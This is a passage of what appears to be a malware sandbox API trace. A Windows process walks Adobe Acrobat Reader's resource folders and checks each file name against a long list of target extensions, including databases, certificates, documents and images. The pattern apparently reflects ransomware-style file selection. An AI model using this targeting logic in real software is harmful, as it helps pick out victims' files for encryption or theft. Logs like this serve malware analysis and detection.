-1 [0273.307] lstrlenW (lpString=".dt") returned 3 [0273.307] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0273.307] lstrlenW (lpString=".dtd") returned 4 [0273.307] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0273.307] lstrlenW (lpString=".dwg") returned 4 [0273.307] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0273.307] lstrlenW (lpString=".dwt") returned 4 [0273.307] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0273.307] lstrlenW (lpString=".dx") returned 3 [0273.307] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0273.307] lstrlenW (lpString=".dxf") returned 4 [0273.307] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0273.307] lstrlenW (lpString=".edml") returned 5 [0273.307] lstrcmpiW (lpString1=".edml", lpString2="n.png") returned -1 [0273.307] lstrlenW (lpString=".efd") returned 4 [0273.307] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0273.307] lstrlenW (lpString=".elf") returned 4 [0273.307] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0273.308] lstrlenW (lpString=".emf") returned 4 [0273.308] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0273.308] lstrlenW (lpString=".emz") returned 4 [0273.308] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0273.308] lstrlenW (lpString=".epf") returned 4 [0273.308] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0273.308] lstrlenW (lpString=".eps") returned 4 [0273.308] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0273.308] lstrlenW (lpString=".epsf") returned 5 [0273.308] lstrcmpiW (lpString1=".epsf", lpString2="n.png") returned -1 [0273.308] lstrlenW (lpString=".epsp") returned 5 [0273.308] lstrcmpiW (lpString1=".epsp", lpString2="n.png") returned -1 [0273.308] lstrlenW (lpString=".erf") returned 4 [0273.308] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0273.308] lstrlenW (lpString=".exr") returned 4 [0273.308] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0273.308] lstrlenW (lpString=".f4v") returned 4 [0273.308] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0273.308] lstrlenW (lpString=".fido") returned 5 [0273.308] lstrcmpiW (lpString1=".fido", lpString2="n.png") returned -1 [0273.308] lstrlenW (lpString=".flm") returned 4 [0273.308] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0273.308] lstrlenW (lpString=".flv") returned 4 [0273.308] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0273.308] lstrlenW (lpString=".frm") returned 4 [0273.308] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0273.308] lstrlenW (lpString=".fxg") returned 4 [0273.308] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0273.308] lstrlenW (lpString=".geo") returned 4 [0273.309] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0273.309] lstrlenW (lpString=".gif") returned 4 [0273.309] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0273.309] lstrlenW (lpString=".grs") returned 4 [0273.309] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0273.309] lstrlenW (lpString=".gz") returned 3 [0273.309] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0273.309] lstrlenW (lpString=".h") returned 2 [0273.309] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0273.309] lstrlenW (lpString=".hdr") returned 4 [0273.309] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0273.309] lstrlenW (lpString=".hpp") returned 4 [0273.309] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0273.309] lstrlenW (lpString=".hta") returned 4 [0273.309] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0273.309] lstrlenW (lpString=".htc") returned 4 [0273.309] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0273.309] lstrlenW (lpString=".htm") returned 4 [0273.309] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0273.309] lstrlenW (lpString=".html") returned 5 [0273.309] lstrcmpiW (lpString1=".html", lpString2="n.png") returned -1 [0273.309] lstrlenW (lpString=".icb") returned 4 [0273.309] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0273.309] lstrlenW (lpString=".ics") returned 4 [0273.309] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0273.309] lstrlenW (lpString=".iff") returned 4 [0273.309] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0273.309] lstrlenW (lpString=".inc") returned 4 [0273.309] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0273.309] lstrlenW (lpString=".indd") returned 5 [0273.309] lstrcmpiW (lpString1=".indd", lpString2="n.png") returned -1 [0273.310] lstrlenW (lpString=".ini") returned 4 [0273.310] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0273.310] lstrlenW (lpString=".iqy") returned 4 [0273.310] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0273.310] lstrlenW (lpString=".j2c") returned 4 [0273.310] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0273.310] lstrlenW (lpString=".j2k") returned 4 [0273.310] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0273.310] lstrlenW (lpString=".java") returned 5 [0273.310] lstrcmpiW (lpString1=".java", lpString2="n.png") returned -1 [0273.310] lstrlenW (lpString=".jp2") returned 4 [0273.310] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0273.310] lstrlenW (lpString=".jpc") returned 4 [0273.310] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0273.310] lstrlenW (lpString=".jpe") returned 4 [0273.310] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0273.310] lstrlenW (lpString=".jpeg") returned 5 [0273.310] lstrcmpiW (lpString1=".jpeg", lpString2="n.png") returned -1 [0273.310] lstrlenW (lpString=".jpf") returned 4 [0273.310] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0273.310] lstrlenW (lpString=".jpg") returned 4 [0273.310] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0273.310] lstrlenW (lpString=".jpx") returned 4 [0273.310] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0273.310] lstrlenW (lpString=".js") returned 3 [0273.310] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0273.310] lstrlenW (lpString=".jsf") returned 4 [0273.310] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0273.310] lstrlenW (lpString=".json") returned 5 [0273.310] lstrcmpiW (lpString1=".json", lpString2="n.png") returned -1 [0273.310] lstrlenW (lpString=".jsp") returned 4 [0273.311] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0273.311] lstrlenW (lpString=".kdc") returned 4 [0273.311] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0273.311] lstrlenW (lpString=".kmz") returned 4 [0273.311] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0273.311] lstrlenW (lpString=".kwm") returned 4 [0273.311] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0273.311] lstrlenW (lpString=".lasso") returned 6 [0273.311] lstrcmpiW (lpString1=".lasso", lpString2="on.png") returned -1 [0273.311] lstrlenW (lpString=".lbi") returned 4 [0273.311] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0273.311] lstrlenW (lpString=".lgf") returned 4 [0273.311] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0273.311] lstrlenW (lpString=".lgp") returned 4 [0273.311] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0273.311] lstrlenW (lpString=".log") returned 4 [0273.311] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0273.311] lstrlenW (lpString=".m1v") returned 4 [0273.311] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0273.311] lstrlenW (lpString=".m4a") returned 4 [0273.311] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0273.311] lstrlenW (lpString=".m4v") returned 4 [0273.311] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0273.311] lstrlenW (lpString=".max") returned 4 [0273.311] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0273.311] lstrlenW (lpString=".md") returned 3 [0273.311] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0273.311] lstrlenW (lpString=".mda") returned 4 [0273.311] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0273.312] lstrlenW (lpString=".mdb") returned 4 [0273.312] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0273.312] lstrlenW (lpString=".mde") returned 4 [0273.312] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0273.312] lstrlenW (lpString=".mdf") returned 4 [0273.312] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0273.312] lstrlenW (lpString=".mdw") returned 4 [0273.312] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0273.312] lstrlenW (lpString=".mef") returned 4 [0273.312] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0273.312] lstrlenW (lpString=".mft") returned 4 [0273.312] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0273.312] lstrlenW (lpString=".mfw") returned 4 [0273.312] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0273.312] lstrlenW (lpString=".mht") returned 4 [0273.312] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0273.312] lstrlenW (lpString=".mhtml") returned 6 [0273.312] lstrcmpiW (lpString1=".mhtml", lpString2="on.png") returned -1 [0273.312] lstrlenW (lpString=".mka") returned 4 [0273.312] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0273.312] lstrlenW (lpString=".mkidx") returned 6 [0273.312] lstrcmpiW (lpString1=".mkidx", lpString2="on.png") returned -1 [0273.312] lstrlenW (lpString=".mkv") returned 4 [0273.312] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0273.312] lstrlenW (lpString=".mos") returned 4 [0273.312] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0273.312] lstrlenW (lpString=".mov") returned 4 [0273.312] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0273.312] lstrlenW (lpString=".mp3") returned 4 [0273.312] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0273.312] lstrlenW (lpString=".mp4") returned 4 [0273.312] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0273.313] lstrlenW (lpString=".mpeg") returned 5 [0273.313] lstrcmpiW (lpString1=".mpeg", lpString2="n.png") returned -1 [0273.313] lstrlenW (lpString=".mpg") returned 4 [0273.313] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0273.313] lstrlenW (lpString=".mpv") returned 4 [0273.313] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0273.313] lstrlenW (lpString=".mrw") returned 4 [0273.313] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0273.313] lstrlenW (lpString=".msg") returned 4 [0273.313] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0273.313] lstrlenW (lpString=".mxl") returned 4 [0273.313] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0273.313] lstrlenW (lpString=".myd") returned 4 [0273.313] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0273.313] lstrlenW (lpString=".myi") returned 4 [0273.313] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0273.313] lstrlenW (lpString=".nef") returned 4 [0273.313] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0273.313] lstrlenW (lpString=".nrw") returned 4 [0273.313] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0273.314] lstrlenW (lpString=".obj") returned 4 [0273.314] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0273.314] lstrlenW (lpString=".odb") returned 4 [0273.314] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0273.314] lstrlenW (lpString=".odc") returned 4 [0273.314] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0273.314] lstrlenW (lpString=".odm") returned 4 [0273.314] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0273.314] lstrlenW (lpString=".odp") returned 4 [0273.314] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0273.314] lstrlenW (lpString=".ods") returned 4 [0273.314] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0273.314] lstrlenW (lpString=".oft") returned 4 [0273.314] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0273.314] lstrlenW (lpString=".one") returned 4 [0273.314] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0273.314] lstrlenW (lpString=".onepkg") returned 7 [0273.314] lstrcmpiW (lpString1=".onepkg", lpString2="con.png") returned -1 [0273.314] lstrlenW (lpString=".onetoc2") returned 8 [0273.314] lstrcmpiW (lpString1=".onetoc2", lpString2="icon.png") returned -1 [0273.314] lstrlenW (lpString=".opt") returned 4 [0273.314] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0273.314] lstrlenW (lpString=".oqy") returned 4 [0273.314] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0273.314] lstrlenW (lpString=".orf") returned 4 [0273.314] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0273.314] lstrlenW (lpString=".p12") returned 4 [0273.314] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0273.314] lstrlenW (lpString=".p7b") returned 4 [0273.314] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0273.314] lstrlenW (lpString=".p7c") returned 4 [0273.315] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0273.315] lstrlenW (lpString=".pam") returned 4 [0273.315] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0273.315] lstrlenW (lpString=".pbm") returned 4 [0273.315] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0273.315] lstrlenW (lpString=".pct") returned 4 [0273.315] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0273.315] lstrlenW (lpString=".pcx") returned 4 [0273.315] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0273.315] lstrlenW (lpString=".pdd") returned 4 [0273.315] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0273.315] lstrlenW (lpString=".pdf") returned 4 [0273.315] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0273.315] lstrlenW (lpString=".pdp") returned 4 [0273.315] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0273.315] lstrlenW (lpString=".pef") returned 4 [0273.315] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0273.315] lstrlenW (lpString=".pem") returned 4 [0273.315] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0273.315] lstrlenW (lpString=".pff") returned 4 [0273.315] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0273.315] lstrlenW (lpString=".pfm") returned 4 [0273.315] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0273.315] lstrlenW (lpString=".pfx") returned 4 [0273.315] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0273.315] lstrlenW (lpString=".pgm") returned 4 [0273.315] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0273.315] lstrlenW (lpString=".php") returned 4 [0273.315] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0273.315] lstrlenW (lpString=".php3") returned 5 [0273.315] lstrcmpiW (lpString1=".php3", lpString2="n.png") returned -1 [0273.315] lstrlenW (lpString=".php4") returned 5 [0273.316] lstrcmpiW (lpString1=".php4", lpString2="n.png") returned -1 [0273.316] lstrlenW (lpString=".php5") returned 5 [0273.316] lstrcmpiW (lpString1=".php5", lpString2="n.png") returned -1 [0273.316] lstrlenW (lpString=".phtml") returned 6 [0273.316] lstrcmpiW (lpString1=".phtml", lpString2="on.png") returned -1 [0273.316] lstrlenW (lpString=".pict") returned 5 [0273.316] lstrcmpiW (lpString1=".pict", lpString2="n.png") returned -1 [0273.316] lstrlenW (lpString=".pl") returned 3 [0273.316] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0273.316] lstrlenW (lpString=".pls") returned 4 [0273.316] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0273.316] lstrlenW (lpString=".pm") returned 3 [0273.316] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0273.316] lstrlenW (lpString=".png") returned 4 [0273.316] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0273.316] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdae26b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdae26b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0273.316] lstrlenW (lpString="rhp_world_icon_2x.png") returned 21 [0273.316] lstrlenW (lpString=".1cd") returned 4 [0273.316] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0273.316] lstrlenW (lpString=".3ds") returned 4 [0273.316] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0273.316] lstrlenW (lpString=".3fr") returned 4 [0273.316] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0273.316] lstrlenW (lpString=".3g2") returned 4 [0273.316] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0273.316] lstrlenW (lpString=".3gp") returned 4 [0273.316] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0273.316] lstrlenW (lpString=".7z") returned 3 [0273.316] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0273.317] lstrlenW (lpString=".accda") returned 6 [0273.317] lstrcmpiW (lpString1=".accda", lpString2="2x.png") returned -1 [0273.317] lstrlenW (lpString=".accdb") returned 6 [0273.317] lstrcmpiW (lpString1=".accdb", lpString2="2x.png") returned -1 [0273.317] lstrlenW (lpString=".accdc") returned 6 [0273.317] lstrcmpiW (lpString1=".accdc", lpString2="2x.png") returned -1 [0273.317] lstrlenW (lpString=".accde") returned 6 [0273.317] lstrcmpiW (lpString1=".accde", lpString2="2x.png") returned -1 [0273.317] lstrlenW (lpString=".accdt") returned 6 [0273.317] lstrcmpiW (lpString1=".accdt", lpString2="2x.png") returned -1 [0273.317] lstrlenW (lpString=".accdw") returned 6 [0273.317] lstrcmpiW (lpString1=".accdw", lpString2="2x.png") returned -1 [0273.317] lstrlenW (lpString=".adb") returned 4 [0273.317] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0273.317] lstrlenW (lpString=".adp") returned 4 [0273.317] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0273.317] lstrlenW (lpString=".ai") returned 3 [0273.317] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0273.317] lstrlenW (lpString=".ai3") returned 4 [0273.317] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0273.317] lstrlenW (lpString=".ai4") returned 4 [0273.317] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0273.317] lstrlenW (lpString=".ai5") returned 4 [0273.317] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0273.317] lstrlenW (lpString=".ai6") returned 4 [0273.317] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0273.317] lstrlenW (lpString=".ai7") returned 4 [0273.317] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0273.317] lstrlenW (lpString=".ai8") returned 4 [0273.317] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0273.317] lstrlenW (lpString=".anim") returned 5 [0273.317] lstrcmpiW (lpString1=".anim", lpString2="x.png") returned -1 [0273.318] lstrlenW (lpString=".arw") returned 4 [0273.318] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0273.318] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0273.318] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0273.318] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning.png", cAlternateFileName="")) returned 1 [0273.318] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x517, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning_2x.png", cAlternateFileName="WARNIN~1.PNG")) returned 1 [0273.318] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x517, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning_2x.png", cAlternateFileName="WARNIN~1.PNG")) returned 0 [0273.318] FindClose (in: hFindFile=0x33159f0 | out: hFindFile=0x33159f0) returned 1 [0273.319] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0273.319] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0273.319] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0273.319] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0273.319] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning.png", cAlternateFileName="")) returned 1 [0273.320] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x517, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning_2x.png", cAlternateFileName="WARNIN~1.PNG")) returned 1 [0273.320] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd8802e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x517, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning_2x.png", cAlternateFileName="WARNIN~1.PNG")) returned 0 [0273.320] FindClose (in: hFindFile=0x3315930 | out: hFindFile=0x3315930) returned 1 [0273.320] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0273.320] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0273.320] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0273.320] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158f0 [0273.595] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.595] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, 